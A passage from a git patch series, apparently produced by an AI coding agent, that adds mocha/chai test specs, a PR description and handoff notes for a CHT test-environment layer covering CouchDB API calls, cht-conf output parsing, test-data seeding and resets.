+      const init = fetchStub.firstCall.args[1];
+      expect(init.method).to.equal('GET');
+      expect(init.headers.Authorization).to.equal(EXPECTED_AUTH);
+    });
+
+    it('bounds every request with an abort signal', async () => {
+      fetchStub.resolves(jsonResponse({}));
+
+      await fetchSettings(URL_BASE, auth);
+
+      expect(fetchStub.firstCall.args[1].signal).to.be.instanceOf(AbortSignal);
+    });
+
+    it('throws with the path and status (never the password) on an HTTP error', async () => {
+      fetchStub.resolves(jsonResponse({ error: 'unauthorized' }, 401));
+
+      try {
+        await fetchSettings(URL_BASE, auth);
+        expect.fail('expected fetchSettings to reject');
+      } catch (error) {
+        const message = (error as Error).message;
+        expect(message).to.include('/api/v1/settings');
+        expect(message).to.include('401');
+        expect(message).to.not.include('password');
+      }
+    });
+
+    it('throws when the body is not a JSON object', async () => {
+      fetchStub.resolves(jsonResponse(['not', 'an', 'object']));
+
+      try {
+        await fetchSettings(URL_BASE, auth);
+        expect.fail('expected fetchSettings to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('non-object body');
+      }
+    });
+  });
+
+  describe('fetchFormRevs', () => {
+    it('queries the medic _all_docs form: key range and maps id + rev', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [
+            { id: 'form:delivery', key: 'form:delivery', value: { rev: '1-def' } },
+            { id: 'form:pregnancy', key: 'form:pregnancy', value: { rev: '3-abc' } },
+          ],
+        })
+      );
+
+      const revs = await fetchFormRevs(URL_BASE, auth);
+
+      expect(revs).to.deep.equal([
+        { id: 'form:delivery', rev: '1-def' },
+        { id: 'form:pregnancy', rev: '3-abc' },
+      ]);
+      const requested = fetchStub.firstCall.args[0] as string;
+      expect(requested).to.include('https://nginx/medic/_all_docs?');
+      const query = new URL(requested).searchParams;
+      expect(query.get('startkey')).to.equal('"form:"');
+      expect(query.get('endkey')).to.equal(JSON.stringify('form:\ufff0'));
+    });
+
+    it('drops deleted form docs and rows without an id', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [
+            { id: 'form:old', key: 'form:old', value: { rev: '2-dead', deleted: true } },
+            { key: 'form:ghost', error: 'not_found' },
+            { id: 'form:live', key: 'form:live', value: { rev: '1-live' } },
+          ],
+        })
+      );
+
+      const revs = await fetchFormRevs(URL_BASE, auth);
+
+      expect(revs).to.deep.equal([{ id: 'form:live', rev: '1-live' }]);
+    });
+  });
+
+  describe('fetchDocRevs', () => {
+    it('returns [] without a request when no ids are given', async () => {
+      const rows = await fetchDocRevs(URL_BASE, auth, []);
+
+      expect(rows).to.deep.equal([]);
+      expect(fetchStub.called).to.equal(false);
+    });
+
+    it('POSTs the ids as _all_docs keys and maps the current revs', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [{ id: 'doc-1', key: 'doc-1', value: { rev: '5-cur' } }],
+        })
+      );
+
+      const rows = await fetchDocRevs(URL_BASE, auth, ['doc-1']);
+
+      expect(rows).to.deep.equal([{ id: 'doc-1', rev: '5-cur' }]);
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/medic/_all_docs');
+      const init = fetchStub.firstCall.args[1];
+      expect(init.method).to.equal('POST');
+      expect(JSON.parse(init.body)).to.deep.equal({ keys: ['doc-1'] });
+      expect(init.headers['Content-Type']).to.equal('application/json');
+    });
+
+    it('marks never-existed docs as missing and tombstones as deleted', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [
+            { key: 'doc-gone', error: 'not_found' },
+            { id: 'doc-tomb', key: 'doc-tomb', value: { rev: '2-tomb', deleted: true } },
+          ],
+        })
+      );
+
+      const rows = await fetchDocRevs(URL_BASE, auth, ['doc-gone', 'doc-tomb']);
+
+      expect(rows).to.deep.equal([
+        { id: 'doc-gone', missing: true },
+        { id: 'doc-tomb', rev: '2-tomb', deleted: true },
+      ]);
+    });
+  });
+
+  describe('bulkDocs', () => {
+    it('returns [] without a request when no docs are given', async () => {
+      const outcome = await bulkDocs(URL_BASE, auth, []);
+
+      expect(outcome).to.deep.equal([]);
+      expect(fetchStub.called).to.equal(false);
+    });
+
+    it('POSTs the docs to _bulk_docs and returns the per-doc outcomes', async () => {
+      fetchStub.resolves(jsonResponse([{ id: 'doc-1', ok: true, rev: '6-new' }]));
+      const tombstone = { _id: 'doc-1', _rev: '5-cur', _deleted: true };
+
+      const outcome = await bulkDocs(URL_BASE, auth, [tombstone]);
+
+      expect(outcome).to.deep.equal([{ id: 'doc-1', ok: true, rev: '6-new' }]);
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/medic/_bulk_docs');
+      const init = fetchStub.firstCall.args[1];
+      expect(init.method).to.equal('POST');
+      expect(JSON.parse(init.body)).to.deep.equal({ docs: [tombstone] });
+      expect(init.headers.Authorization).to.equal(EXPECTED_AUTH);
+    });
+
+    it('throws on an HTTP error status', async () => {
+      fetchStub.resolves(jsonResponse({ error: 'server' }, 500));
+
+      try {
+        await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+        expect.fail('expected bulkDocs to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('500');
+      }
+    });
+
+    it('normalizes a non-array response body to []', async () => {
+      fetchStub.resolves(jsonResponse({ unexpected: true }));
+
+      const outcome = await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+
+      expect(outcome).to.deep.equal([]);
+    });
+  });
+});
diff --git a/test/utils/test-data.spec.ts b/test/utils/test-data.spec.ts
new file mode 100644
index 00000000..cb2ce105
--- /dev/null
+++ b/test/utils/test-data.spec.ts
@@ -0,0 +1,209 @@
+import { expect } from 'chai';
+import { mkdtempSync, mkdirSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import {
+  SeededDoc,
+  classifySeededDocs,
+  cleanSeededDocs,
+  countCreatedUsers,
+  hasUsersCsv,
+  parseUploadDocsSummary,
+  readSeededDocs,
+} from '../../src/utils/test-data';
+import { DiscoveredConfig } from '../../src/types';
+
+// Literal cht-conf log lines (src/lib/log.js prefixes every line with an ANSI
+// color + level and appends a reset code) — the parsers must see through them.
+const ansiInfo = (message: string): string => `\x1b[32mINFO ${message} \x1b[0m`;
+
+describe('test-data', () => {
+  describe('parseUploadDocsSummary', () => {
+    it('parses the real upload-docs summary line through its ANSI wrapping', () => {
+      const line = ansiInfo('Summary: 12 of 12 docs uploaded OK.  Full report written to: upload-docs.1.log.json');
+
+      expect(parseUploadDocsSummary(line)).to.deep.equal({ uploaded: 12, total: 12 });
+    });
+
+    it('reports a partial upload', () => {
+      const output = ['some earlier line', ansiInfo('Summary: 10 of 12 docs uploaded OK.')].join('\n');
+
+      expect(parseUploadDocsSummary(output)).to.deep.equal({ uploaded: 10, total: 12 });
+    });
+
+    it('returns undefined when no summary was printed (nothing to upload)', () => {
+      expect(parseUploadDocsSummary(ansiInfo('No docs directory found at /data/json_docs.'))).to.equal(undefined);
+    });
+  });
+
+  describe('countCreatedUsers', () => {
+    it('counts the real "Creating user" progress lines through their ANSI wrapping', () => {
+      const output = [ansiInfo('Creating user alice'), ansiInfo('Creating user bob')].join('\n');
+
+      expect(countCreatedUsers(output)).to.equal(2);
+    });
+
+    it('returns 0 when no user was created', () => {
+      expect(countCreatedUsers(ansiInfo('All actions completed.'))).to.equal(0);
+    });
+
+    it('does not count the user-info preflight lines', () => {
+      const output = [ansiInfo('Requesting user-info for "alice"'), ansiInfo('Creating user alice')].join('\n');
+
+      expect(countCreatedUsers(output)).to.equal(1);
+    });
+  });
+
+  describe('json_docs fixtures', () => {
+    let dataPath: string;
+
+    const writeDoc = (id: string, doc: Record<string, unknown>): void => {
+      writeFileSync(join(dataPath, 'json_docs', `${id}.doc.json`), JSON.stringify({ _id: id, ...doc }));
+    };
+
+    beforeEach(() => {
+      dataPath = mkdtempSync(join(tmpdir(), 'cht-test-data-'));
+      mkdirSync(join(dataPath, 'json_docs'));
+    });
+
+    afterEach(() => {
+      rmSync(dataPath, { recursive: true, force: true });
+    });
+
+    describe('hasUsersCsv', () => {
+      it('is true when the data project has a users.csv', () => {
+        writeFileSync(join(dataPath, 'users.csv'), 'username,password,roles\n');
+
+        expect(hasUsersCsv(dataPath)).to.equal(true);
+      });
+
+      it('is false when there is no users.csv', () => {
+        expect(hasUsersCsv(dataPath)).to.equal(false);
+      });
+    });
+
+    describe('readSeededDocs', () => {
+      it('reads id, type, and contact_type from every .doc.json, sorted by filename', () => {
+        writeDoc('b-person', { type: 'person' });
+        writeDoc('a-contact', { type: 'contact', contact_type: 'chw' });
+
+        const docs = readSeededDocs(dataPath);
+
+        expect(docs).to.deep.equal([
+          { id: 'a-contact', type: 'contact', contactType: 'chw' },
+          { id: 'b-person', type: 'person' },
+        ]);
+      });
+
+      it('ignores files that are not .doc.json', () => {
+        writeDoc('real-doc', { type: 'clinic' });
+        writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
+
+        const docs = readSeededDocs(dataPath);
+
+        expect(docs.map((doc) => doc.id)).to.deep.equal(['real-doc']);
+      });
+
+      it('returns [] when json_docs does not exist (csv-to-docs had no input)', () => {
+        rmSync(join(dataPath, 'json_docs'), { recursive: true });
+
+        expect(readSeededDocs(dataPath)).to.deep.equal([]);
+      });
+
+      it('throws on a malformed doc file rather than guessing the worklist', () => {
+        writeFileSync(join(dataPath, 'json_docs', 'broken.doc.json'), '{not json');
+
+        expect(() => readSeededDocs(dataPath)).to.throw();
+      });
+    });
+
+    describe('cleanSeededDocs', () => {
+      it('removes only the .doc.json files, keeping report logs and other project files', () => {
+        writeDoc('stale-1', { type: 'clinic' });
+        writeDoc('stale-2', { type: 'person' });
+        writeFileSync(join(dataPath, 'json_docs', 'upload-docs.1.log.json'), '{}');
+        writeFileSync(join(dataPath, 'users.csv'), 'username,password,roles\n');
+
+        const removed = cleanSeededDocs(dataPath);
+
+        expect(removed).to.equal(2);
+        expect(readSeededDocs(dataPath)).to.deep.equal([]);
+        expect(hasUsersCsv(dataPath)).to.equal(true); // files outside json_docs untouched
+        expect(readdirSync(join(dataPath, 'json_docs'))).to.deep.equal(['upload-docs.1.log.json']);
+      });
+
+      it('returns 0 when json_docs does not exist', () => {
+        rmSync(join(dataPath, 'json_docs'), { recursive: true });
+
+        expect(cleanSeededDocs(dataPath)).to.equal(0);
+      });
+    });
+  });
+
+  describe('classifySeededDocs', () => {
+    const config: DiscoveredConfig = {
+      contactTypes: [
+        { id: 'district_hospital' },
+        { id: 'clinic', parents: ['district_hospital'] },
+        { id: 'person', parents: ['clinic'], person: true },
+        { id: 'chw_agent', parents: ['clinic'], person: true },
+      ],
+      roles: {},
+      permissions: {},
+      transitions: {},
+      forms: [],
+    };
+
+    const doc = (id: string, type: string, contactType?: string): SeededDoc => ({
+      id,
+      type,
+      ...(contactType !== undefined ? { contactType } : {}),
+    });
+
+    it('splits docs into places, people, and reports against the discovered config', () => {
+      const docs = [
+        doc('p1', 'district_hospital'),
+        doc('p2', 'clinic'),
+        doc('h1', 'person'),
+        doc('r1', 'data_record'),
+      ];
+
+      const counts = classifySeededDocs(docs, config);
+
+      expect(counts.places).to.equal(2);
+      expect(counts.people).to.equal(1);
+      expect(counts.reports).to.equal(1);
+      expect(counts.warnings).to.deep.equal([]);
+    });
+
+    it('counts a custom person contact type (configurable hierarchy) as a person', () => {
+      const counts = classifySeededDocs([doc('c1', 'contact', 'chw_agent')], config);
+
+      expect(counts.people).to.equal(1);
+      expect(counts.places).to.equal(0);
+    });
+
+    it('counts a custom place contact type via contact_type as a place', () => {
+      const counts = classifySeededDocs([doc('c1', 'contact', 'clinic')], config);
+
+      expect(counts.places).to.equal(1);
+      expect(counts.people).to.equal(0);
+    });
+
+    it('does not count user docs (accounts are create-users territory)', () => {
+      const counts = classifySeededDocs([doc('u1', 'user'), doc('r1', 'data_record')], config);
+
+      expect(counts).to.deep.equal({ places: 0, people: 0, reports: 1, warnings: [] });
+    });
+
+    it('warns once per unknown contact type and counts it as a place', () => {
+      const docs = [doc('x1', 'warehouse'), doc('x2', 'warehouse')];
+
+      const counts = classifySeededDocs(docs, config);
+
+      expect(counts.places).to.equal(2);
+      expect(counts.warnings).to.have.lengthOf(1);
+      expect(counts.warnings[0]).to.include('warehouse');
+    });
+  });
+});

From 72df78983f239c404bc655addfd327ba0e4f8ce9 Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 01:49:05 +0000
Subject: [PATCH 10/24] docs(#66): handoff status, PR description, deferred
 cht-conf-extension map
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Add PR_66_DESCRIPTION.md (the reviewer-facing writeup) and mark the phase-2
handoff DONE now that phases 2 + 3 have landed.

PR_66_DESCRIPTION.md covers, per the completion plan §7 / §6b:
- what the layer delivers + the implementation map;
- the test surface (1104 passing; 126 in the layer) and the standalone,
  Docker-free / instance-free guarantee + independent cht-core demo recipe;
- the env seams (CHT_CONF_BIN, ProvisionOptions url/auth, useMockDocker,
  human-gated test-env-up.sh) with an explicit scope note on provision;
- the deferred cht-conf-extension boundary map (verbatim);
- the excision-grep proof (empty over src/ + test/);
- per-function parity proofs vs the workbench port source (identical modulo
  the excisions; test-data byte-identical; the one provision divergence called
  out);
- the sonar sweep result (four house rules zero; cognitive-complexity note).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 PR_66_DESCRIPTION.md                          | 197 ++++++++++++++++++
 .../66-phase2-applyconfig-implementation.md   |  14 ++
 2 files changed, 211 insertions(+)
 create mode 100644 PR_66_DESCRIPTION.md

diff --git a/PR_66_DESCRIPTION.md b/PR_66_DESCRIPTION.md
new file mode 100644
index 00000000..6b8ee352
--- /dev/null
+++ b/PR_66_DESCRIPTION.md
@@ -0,0 +1,197 @@
+# feat(#66): Test Environment Layer — provisioning, config discovery, test data, config apply
+
+Closes #66. Enables #64 (QA Supervisor pipeline invocation).
+
+## 1. What this PR delivers
+
+The **Test Environment Layer** for the cht-agent QA Supervisor: a deterministic
+(no-LLM) orchestrator that stands up a live CHT instance, applies a cht-conf
+config, reads the deployed config back, seeds conforming test data, and resets
+between runs — all **human-gated for Docker** (the agent runs no Docker; a human
+brings the environment up/down) and **credential-safe** (creds ride the cht-conf
+`--url` arg / the HTTP `Authorization` header, never a log line).
+
+It is the layer that drove the closed-loop demo's QA phase live; this PR ships it
+at **workbench parity minus the cht-conf-extension pieces** (which land in their
+own PR — see the deferred map in §7). The pipeline/LangGraph wiring that *invokes*
+this layer arrives with #64; this PR ships the layer + its direct-use surface.
+
+### Real paths implemented
+- **`provision`** — human-gated bring-up (`scripts/test-env-up.sh <cht-core>`) +
+  a bounded, backing-off readiness poll of `/api/v2/monitoring`.
+- **`applyConfig`** — one `cht` invocation per upload bucket (app-settings /
+  app-forms / contact-forms / resources), status parsed from stdout
+  (`uploaded` / `skipped` / `failed`), buckets independent so one failure does
+  not abort the rest.
+- **`discoverConfig`** — `GET /api/v1/settings` + the `form:` `_all_docs` range,
+  parsed into `DiscoveredConfig` (contact types, roles, permissions, transitions,
+  forms, and `formVersions` — each installed form's rev, the change-detection
+  hash for the apply → verify loop).
+- **`prepareTestData`** — cht-conf `csv-to-docs` + `upload-docs` seed the
+  instance, then `create-users` when `users.csv` exists; seeded doc ids are
+  tracked per environment.
+- **`reset('couchdb')`** — the one reset the agent performs itself over the
+  CouchDB HTTP API: wipe the tracked docs at their **current** revs, then reseed
+  pristine copies (reseed source pre-flighted before the destructive wipe, so a
+  vanished data project fails closed). `restart`/`full` stay human-gated.
+- **`teardown`** — prints the human `docker compose down -v` gate and clears the
+  per-env tracking.
+
+## 2. Implementation map
+
+| File | Role |
+|---|---|
+| `src/utils/cht-conf-runner.ts` | `child_process` isolation for cht-conf: `runChtConf` (generic, ordered verb list) + `runBucket` (config-upload buckets), `classifyChtConfOutput`, `minimalEnv` (secret-free child env), `resolveChtConfBin` (`CHT_CONF_BIN` seam). |
+| `src/utils/cht-api.ts` | `fetch` isolation for CHT/CouchDB: `fetchSettings`, `fetchFormRevs`, `fetchDocRevs`, `bulkDocs` (bounded, authed, cred-safe). |
+| `src/utils/test-data.ts` | fs isolation + cht-conf stdout parsers: `readSeededDocs`, `cleanSeededDocs`, `classifySeededDocs`, `parseUploadDocsSummary`, `countCreatedUsers`, `hasUsersCsv`. |
+| `src/agents/test-environment-agent.ts` | The orchestrator (mock + real paths). Docker-free; delegates every side effect to the isolation modules above. |
+| `src/agents/test-environment-agent.mock-data.ts` | Deterministic mock fixtures (CI-safe, no instance). |
+| `src/types/index.ts` | Layer types (Config/Discovery/Provision/Runner/apply sets; `app-settings-only`; `instanceUrl` REQUIRED). |
+| `src/utils/cht-readiness.ts` | Readiness poll (Phase 1). |
+| `scripts/test-env-up.sh`, `scripts/test-env-down.sh`, `docker/cht-agent-net.override.yml` | Human-gated bring-up/teardown + compose override (Phase 1). |
+
+## 3. Test surface
+
+`build` + `test` + `lint` are green after **every** commit (Node 22). Full suite:
+**1104 passing**. Real-path specs mock `fetch` / `child_process` / `fs`, so the
+suite is green with **no instance and no Docker**.
+
+| Layer spec | `it`s |
+|---|---|
+| `test/utils/cht-conf-runner.spec.ts` | 26 |
+| `test/utils/cht-api.spec.ts` | 13 |
+| `test/utils/test-data.spec.ts` | 19 |
+| `test/agents/test-environment-agent.spec.ts` | 64 |
+| `test/utils/cht-readiness.spec.ts` | 4 |
+| **Layer total** | **126** |
+
+## 4. Environment seams
+
+- **`CHT_CONF_BIN`** — override the cht-conf binary (default `cht`); lets the
+  agent run a deployment-pinned cht-conf and lets specs stub a fake script.
+- **`ProvisionOptions.url` / `ProvisionOptions.auth`** (and the on-network
+  defaults `https://nginx`, `medic`/`password`) — the instance target + creds
+  the handle carries; every downstream call reads `handle.url`/`handle.auth`.
+- **`useMockDocker`** (constructor) — mock mode is the default; `false` selects
+  the real paths. This is what keeps CI Docker-free.
+- **`scripts/test-env-up.sh <cht-core>`** — the human-gated bring-up seam
+  (`COUCHDB_USER`/`COUCHDB_PASSWORD` are the compose creds seam it already uses).
+
+> **Scope note on `provision` env resolution.** `provision()` is kept at its
+> Phase-1 shape (already on the branch). The workbench lineage later grew
+> `provision` an env-driven resolver (`CHT_URL` fallback, `COUCHDB_USER/PASSWORD`
+> auth, embedded-cred stripping, `decodeUserinfo`); that evolution is **not** in
+> this PR because `provision` is not in this PR's port scope (only
+> `discoverConfig`/`prepareTestData`/`reset('couchdb')` were ported). Callers set
+> the target via `ProvisionOptions.url`/`auth` today. Porting the `provision`
+> env-seam resolver is a clean, self-contained follow-up if wanted.
+
+## 5. Standalone guarantee + independent demo recipe
+
+Zero imports from workflow / cht-conf-extension code. Real-path specs mock
+`fetch`/`child_process` → suite green with no instance, no Docker.
+
+Independent cht-core demo (real mode, `new TestEnvironmentAgent({ useMockDocker: false })`):
+
+```
+scripts/test-env-up.sh <cht-core-checkout>     # human brings the env up
+provision({ chtCorePath: '<cht-core>' })       # waits until healthy
+discoverConfig(handle)                          # reads /api/v1/settings + form revs
+applyConfig(handle, 'config/default')          # cht-conf upload buckets
+prepareTestData(handle, config, { dataPath })  # csv-to-docs → upload-docs → create-users
+reset(handle, 'couchdb')                        # wipe + reseed the tracked docs
+teardown(handle)                                # prints the human down gate
+```
+
+Mock mode (`useMockDocker` default) mirrors the same call sequence CI-safe.
+
+## 6. Excision proof (no cht-conf-extension code)
+
+```
+$ grep -rn "fetchFormXml\|verifyArtifact\|fetchDeployedFormXml\|runOfflineConvert\
+\|createConvertSandbox\|skipValidate\|xform-inspect\|config-type\|cht-conf-tier2\
+\|qa-workflow\|XlsformBindDiff" src/ test/
+$ echo $?
+1        # no matches → empty → clean
+```
+
+## 7. Deferred cht-conf-extension map (verbatim boundary)
+
+**Ported with excisions** (the stripped items are the cht-conf extension):
+
+| Workbench source | Stripped in this PR |
+|---|---|
+| `src/agents/test-environment-agent.ts` | `verifyArtifact`, `fetchDeployedFormXml`, and their imports (`fetchFormXml`, `verifyFormBinds`) |
+| `src/utils/cht-api.ts` | `fetchFormXml` |
+| `src/utils/cht-conf-runner.ts` | offline-convert block (`runOfflineConvert`, `createConvertSandbox`, `CONVERT_VERBS`, `SANDBOX_EXCLUDES`, `OfflineConvertOptions`), `skipValidate`; `instanceUrl` restored to REQUIRED |
+| `src/types/index.ts` | `VerifyArtifact*`, `QaInput`/`QaResult`/`QaTier2Result`, `XlsformBindDiff`, offline-convert optionals |
+| spec files | describes for the stripped exports (`fetchFormXml`, `verifyArtifact`, `runOfflineConvert`, `createConvertSandbox`, F2/F5 xform describes) |
+
+**Not ported at all** (whole files → cht-conf-extension PR):
+`xform-inspect.ts`, `config-type.ts`, `cht-conf-tier2.ts`, `cht-conf-test-spec.ts`,
+`qa-workflow.ts`, `orchestrator.ts` wiring, CLI flags.
+
+## 8. Per-function parity proof (identical modulo the excisions)
+
+Diffed against the workbench port source
+(`~/…/cht-agent-workbench`, demo-final).
+
+- **`src/utils/test-data.ts`** — **byte-identical** to the workbench (`diff` empty).
+- **`src/utils/cht-api.ts`** — differs **only** by the removed `fetchFormXml`
+  export (function + doc comment). Every other export (`request`, `basicAuth`,
+  `fetchSettings`, `fetchFormRevs`, `fetchDocRevs`, `bulkDocs`, the row types,
+  `FORM_RANGE_QUERY`) is identical.
+- **`src/utils/cht-conf-runner.ts`** — differs **only** by: the removed
+  `fs`/`os`/`path` imports and the whole offline-convert block
+  (`CONVERT_VERBS`, `SANDBOX_EXCLUDES`, `OfflineConvertOptions`,
+  `createConvertSandbox`, `runOfflineConvert`); the removed `skipValidate` line in
+  `buildExecArgs`; and `--url` made unconditional (`instanceUrl` REQUIRED). Every
+  kept export (`CONFIG_ACTION_COMMANDS` incl. `app-settings-only`,
+  `AUTONOMOUS_FLAGS`, `minimalEnv`, `resolveChtConfBin`, `buildChtConfArgs`,
+  `classifyChtConfOutput`, `runChtConf`, `runBucket`) is identical.
+- **`src/agents/test-environment-agent.ts`** — every ported method
+  (`applyConfig`, `discoverConfig`, `prepareTestData`, `reset`,
+  `resetCouchdbTier`, `teardown`) and every parse helper (`parseContactTypes`,
+  `parseRoles`, `parsePermissions`, `parseTransitions`, `parseDiscoveredConfig`,
+  `credentialedUrl`, `toApplyResult`, `describeRunFailure`, `runSucceeded`) is
+  identical to the workbench. Excised: `verifyArtifact`, `fetchDeployedFormXml`
+  and their imports. **One deliberate divergence:** `provision()` is kept at the
+  branch's Phase-1 shape rather than the workbench's later env-seam resolver (see
+  §4 scope note); its `decodeUserinfo` helper and `CHT_URL`/`COUCHDB_*` logic are
+  therefore not present.
+- **Types / mock fixtures** — the layer type set + mock fixtures match the
+  workbench minus the `VerifyArtifact*`/`Qa*`/`XlsformBindDiff`/offline-convert
+  members.
+
+## 9. Sonar sweep
+
+Local static sweep against `.sonarcloud.properties` (the sandbox has no
+`sonar-scanner` and no SonarCloud network, so this is the local first pass; the
+authoritative scan runs on the PR CI). The four house rules are **zero** on the
+layer files:
+
+- **No `any` in `src/`** — `eslint --max-warnings 0` on the layer src is clean
+  (the `no-explicit-any` warning count is 0).
+- **≥1 assertion per test** — no assertion-less `it()` in the ported specs.
+- **No nested template literals** — none.
+- **`_`-prefixed unused params** — eslint-enforced, clean.
+
+**Cognitive complexity:** the ported functions are byte-identical to the
+sonar-sanctioned workbench parity source, so this PR introduces no new
+complexity relative to that baseline. `prepareTestData` is the longest method
+and may be flagged by the S3776 gate; it is left at parity here to preserve the
+per-function parity guarantee (§8) and avoid restructuring code that cannot be
+exercised against a live instance in-container. A behavior-preserving helper
+extraction is an available follow-up if the PR's SonarCloud run flags it.
+
+## 10. Commits (on `66-test-environment-layer-implementation`, rebased onto `origin/main` @ `fdf4af2`)
+
+- `feat(#66): phase-2 parity uplift — cht-conf runner to workbench parity minus excisions`
+- `feat(#66): phase 3 — discoverConfig + cht-api, prepareTestData + test-data, couchdb-tier reset`
+- `test(#66): layer spec suite ported (agent real paths, cht-api, test-data)`
+- `docs(#66): handoff status, PR description, deferred cht-conf-extension map`
+
+(Phases 1–2 groundwork — provision/readiness/scripts/apply shape — is the branch's
+pre-existing history, replayed unchanged by the rebase.)
+
+All work stays on the local branch; the operator owns the push and `gh pr create`.
diff --git a/docs/handoffs/66-phase2-applyconfig-implementation.md b/docs/handoffs/66-phase2-applyconfig-implementation.md
index ff2cd7d1..08a31109 100644
--- a/docs/handoffs/66-phase2-applyconfig-implementation.md
+++ b/docs/handoffs/66-phase2-applyconfig-implementation.md
@@ -1,5 +1,19 @@
 # #66 Phase 2 — real `applyConfig` implementation plan
 
+> **Status — 2026-07-18 (DONE, phases 2 + 3 landed).** This plan is fully
+> implemented, and Phase 3 (`discoverConfig` + `cht-api.ts`, `prepareTestData` +
+> `test-data.ts`, the couchdb-tier reset) has been ported alongside it from the
+> workbench lineage. The layer is at workbench parity **minus** the deferred
+> cht-conf-extension pieces (`verifyArtifact`/`fetchDeployedFormXml`/`fetchFormXml`,
+> the offline-convert block, `skipValidate`, `xform-inspect`) — see
+> `PR_66_DESCRIPTION.md` for the excision + per-function parity proofs and the
+> deferred-boundary map. `applyConfig`/`discoverConfig`/`prepareTestData`/
+> `reset('couchdb')` real paths are all live; `provision` stays at the Phase-1
+> shape. Gates green after every commit (Node 22): `build` + `test` (1104 passing,
+> 126 in the layer) + `lint`. All work is on local branch
+> `66-test-environment-layer-implementation` (rebased onto `origin/main` @
+> `fdf4af2`); the operator owns the push + `gh pr create`.
+>
 > Phase 1 (provision/reset/teardown real paths) + the Phase-2 *shape* (action selector,
 > `ConfigApplyResult`, `ConfigActionStatus`) already landed (`f954cb9`). This plan fills the
 > `applyConfig` `!useMockDocker` branch that currently throws `NOT_IMPLEMENTED`. Same

From 16476d21ffa274df35d67f5f69ddde5cd1b1594f Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 02:18:59 +0000
Subject: [PATCH 11/24] =?UTF-8?q?feat(#66):=20provision=20env-seam=20parit?=
 =?UTF-8?q?y=20=E2=80=94=20CHT=5FURL=20fallback,=20cred=20stripping,=20COU?=
 =?UTF-8?q?CHDB=5F*=20auth=20seam?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Port the workbench provision() env-seam resolver (and the decodeUserinfo helper)
into the real-mode path verbatim. This is test-environment-layer code — nothing
cht-conf about it — and closes a handle-contract gap: the ported phase-2/3
consumers (credentialedUrl in applyConfig/prepareTestData/resetCouchdbTier,
discoverConfig's auth) assume provision's handle invariants — creds stripped off
handle.url, auth resolved into the handle, url canonical (it keys the seeded-doc
tracking map). Leaving provision at the Phase-1 shape risked that drift.

Six behaviors, exactly as the workbench:
- URL fallback order: options.url -> process.env.CHT_URL (trimmed; blank ignored)
  -> the on-network default (https://nginx).
- Resolved URL canonicalized: trailing slashes stripped.
- Embedded basic-auth creds stripped OUT of handle.url (it is logged and passed
  to undici fetch(), which rejects credentialed URLs); they survive only as an
  auth fallback, decoded via decodeUserinfo (tolerates a raw '%' without throwing).
- COUCHDB_USER/COUCHDB_PASSWORD auth seam (the same seam scripts/test-env-up.sh
  uses); COUCHDB_USER absent -> default user; gated on COUCHDB_PASSWORD presence.
- Auth precedence: options.auth -> embedded-URL creds -> COUCHDB_* env -> default.
- Handle shape otherwise unchanged (url, auth copy, network, chtCorePath, source).

Specs: port the workbench describe('CHT_URL fallback') block (8 its) and add the
CHT_URL/COUCHDB_* save/clear/restore to the provision real-mode describe so the
suite stays order-independent. The provision describe is now byte-identical to
the workbench.

Docs: PR_66_DESCRIPTION.md — provision is now at full workbench parity (the only
agent divergence is the excised verifyArtifact/fetchDeployedFormXml); updated the
env-seam list (CHT_URL/COUCHDB_*), the parity table, and the test counts.

1112 tests pass (+8), build + lint clean, excision grep still empty (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 PR_66_DESCRIPTION.md                       |  52 +++++-----
 src/agents/test-environment-agent.ts       |  36 ++++++-
 test/agents/test-environment-agent.spec.ts | 109 +++++++++++++++++++++
 3 files changed, 169 insertions(+), 28 deletions(-)

diff --git a/PR_66_DESCRIPTION.md b/PR_66_DESCRIPTION.md
index 6b8ee352..bc934782 100644
--- a/PR_66_DESCRIPTION.md
+++ b/PR_66_DESCRIPTION.md
@@ -53,7 +53,7 @@ this layer arrives with #64; this PR ships the layer + its direct-use surface.
 ## 3. Test surface
 
 `build` + `test` + `lint` are green after **every** commit (Node 22). Full suite:
-**1104 passing**. Real-path specs mock `fetch` / `child_process` / `fs`, so the
+**1112 passing**. Real-path specs mock `fetch` / `child_process` / `fs`, so the
 suite is green with **no instance and no Docker**.
 
 | Layer spec | `it`s |
@@ -61,30 +61,29 @@ suite is green with **no instance and no Docker**.
 | `test/utils/cht-conf-runner.spec.ts` | 26 |
 | `test/utils/cht-api.spec.ts` | 13 |
 | `test/utils/test-data.spec.ts` | 19 |
-| `test/agents/test-environment-agent.spec.ts` | 64 |
+| `test/agents/test-environment-agent.spec.ts` | 72 |
 | `test/utils/cht-readiness.spec.ts` | 4 |
-| **Layer total** | **126** |
+| **Layer total** | **134** |
 
 ## 4. Environment seams
 
 - **`CHT_CONF_BIN`** — override the cht-conf binary (default `cht`); lets the
   agent run a deployment-pinned cht-conf and lets specs stub a fake script.
-- **`ProvisionOptions.url` / `ProvisionOptions.auth`** (and the on-network
-  defaults `https://nginx`, `medic`/`password`) — the instance target + creds
-  the handle carries; every downstream call reads `handle.url`/`handle.auth`.
+- **`CHT_URL`** — `provision()` falls back to it for the instance URL
+  (`options.url` → `CHT_URL` (trimmed; blank ignored) → the on-network default
+  `https://nginx`). The resolved `handle.url` is canonicalized (trailing slash
